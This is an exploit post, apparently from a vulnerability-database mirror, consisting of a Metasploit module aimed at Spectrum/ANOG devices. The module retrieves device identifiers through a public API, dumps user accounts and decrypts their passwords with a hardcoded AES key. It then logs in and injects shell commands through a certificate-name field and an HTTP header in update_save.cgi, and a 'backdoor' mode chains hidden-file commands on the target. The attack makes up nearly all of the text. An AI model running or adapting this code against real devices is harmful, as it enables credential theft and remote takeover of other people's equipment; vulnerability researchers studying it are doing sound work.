==================================================================================================================================
| # Title : Spectrum ANOG Device Credential Extraction and Command Injection RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : No standalone download available |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets Spectrum/ANOG devices and combines credential extraction, password decryption, and remote command execution through an authenticated command-injection flaw.
[+] The module operates in multiple phases:
Device enumeration: Retrieves device identifiers (ID and MAC address) via a publicCmd API endpoint.
Credential extraction: Queries user accounts from configuration endpoints and decrypts stored passwords using a predefined AES-128-CBC key/IV pair.
Authentication handling: Supports both encrypted (RSA-based) and unencrypted login flows depending on the device response.
Command execution (RCE): Exploits a command injection vector in a CGI endpoint (update_save.cgi) by injecting shell commands through manipulated POST parameters and HTTP headers.
Backdoor mode: Attempts to execute system-level commands to stage persistence-like behavior on the target device after authentication.
[+] The module supports three operational modes:
EXTRACT: Dumps and decrypts device user credentials.
RCE: Logs in using extracted credentials and executes a user-defined command.
BACKDOOR: Attempts to execute chained system commands to establish persistence.
[+] POC :
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Spectrum/ANOG Device - Credential Extractor and RCE',
'Description' => 'Extract credentials and exploit command injection',
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'DefaultAction' => 'EXTRACT'
))
register_options([
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('COMMAND', [false, 'Command', 'id'])
])
end
AES_KEYS = [
['0vMAXsPECTRUMnANUGOcErritos16220', 'dIgItALwATCHdOG3']
].freeze
def get_device_info
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/publicCmd'),
'ctype' => 'application/json',
'data' => { command: 'getDeviceInfo' }.to_json
})
return [nil, nil] unless res && res.code == 200
json = res.get_json_document rescue nil
return [nil, nil] unless json.is_a?(Hash)
reply = json['reply']
return [nil, nil] unless reply.is_a?(Hash)
[reply['id'], reply['mac']]
end
def get_users(id, mac)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/publicCmd'),
'ctype' => 'application/json',
'data' => {
method: 'get',
command: 'setup/general/user',
id: id,
mac: mac
}.to_json
})
return [] unless res && res.code == 200
json = res.get_json_document rescue nil
return [] unless json.is_a?(Hash)
reply = json['reply']
return [] unless reply.is_a?(Hash)
reply['users'] || []
end
def decrypt_password(enc)
require 'base64'
require 'openssl'
data = Base64.decode64(enc)
AES_KEYS.each do |key, iv|
begin
cipher = OpenSSL::Cipher.new('AES-128-CBC')
cipher.decrypt
cipher.key = key
cipher.iv = iv
dec = cipher.update(data) + cipher.final
padding = dec[-1].ord
dec = dec[0...-padding] if padding.between?(1, 16)
return dec
rescue
next
end
end
nil
end
def login(username, password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cgi-bin/login.cgi')
})
return nil unless res
if res.body.include?('rsa_pub_key') && res.body.include?('rsa_session_key')
return encrypted_login(username, password, res)
end
unencrypted_login(username, password)
end
def unencrypted_login(username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin/login_proc.cgi'),
'vars_post' => {
login_os: 'win',
login_type: '1',
login_id: username,
login_pwd: password
}
})
return nil unless res
if res.code == 302 && res.headers['Location'] && !res.headers['Location'].include?('login.cgi')
return res.get_cookies
end
nil
end
def encrypted_login(username, password, res)
cookies = res.get_cookies
pub = extract_rsa(res.body, 'rsa_pub_key')
sess = extract_rsa(res.body, 'rsa_session_key')
return nil unless pub && sess
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin/login_proc.cgi'),
'cookie' => cookies,
'vars_post' => {
login_os: 'win',
login_type: rsa_encrypt('1', pub),
enc_uid: rsa_encrypt(username, pub),
enc_upwd: rsa_encrypt(password, pub),
rsa_session: sess,
rnd_key: rand(64)
}
})
cookies
end
def extract_rsa(body, key)
return $1 if body =~ /"#{key}"\s*:\s*"([^"]+)"/
nil
end
def rsa_encrypt(data, pub)
require 'openssl'
require 'base64'
key = OpenSSL::PKey::RSA.new(Base64.decode64(pub))
Base64.strict_encode64(key.public_encrypt(data))
rescue
data
end
def execute_command(cookies, cmd, cmd2 = nil)
category = 'setup_network_https_cert_view'
cert_name = "a\" # \n #{cmd} # \""
headers = {}
headers['abcdef'] = "ghi`#{cmd2}`jkl" if cmd2
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin/update_save.cgi'),
'cookie' => cookies,
'vars_post' => {
category: category,
cert_name: cert_name
},
'headers' => headers
})
return nil unless res
res.body
end
def run_host(_ip)
case action.name
when 'EXTRACT'
extract_credentials
when 'RCE'
execute_rce_flow
when 'BACKDOOR'
install_backdoor
end
end
def extract_credentials
id, mac = get_device_info
return unless id && mac
users = get_users(id, mac)
return if users.empty?
users.each do |u|
user = u['username']
pass = u['password']
next unless user && pass
dec = decrypt_password(pass)
print_good("#{user}:#{dec}") if dec
end
end
def execute_rce_flow
id, mac = get_device_info
return unless id && mac
users = get_users(id, mac)
return if users.empty?
users.each do |u|
user = u['username']
pass = decrypt_password(u['password'])
next unless user && pass
cookies = login(user, pass)
next unless cookies
print_good("Logged in as #{user}")
res = execute_command(cookies, datastore['COMMAND'])
print_status(res) if res
break
end
end
def install_backdoor
id, mac = get_device_info
return unless id && mac
users = get_users(id, mac)
users.each do |u|
user = u['username']
pass = decrypt_password(u['password'])
next unless user && pass
cookies = login(user, pass)
next unless cookies
cmd = "cp /proc/self/environ /tmp/.e0 # \n sh /tmp/.e0 # \n rm /tmp/.e0 #"
execute_command(cookies, cmd, "rm -f /tmp/.go.cgi")
print_good("Backdoor installed")
break
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation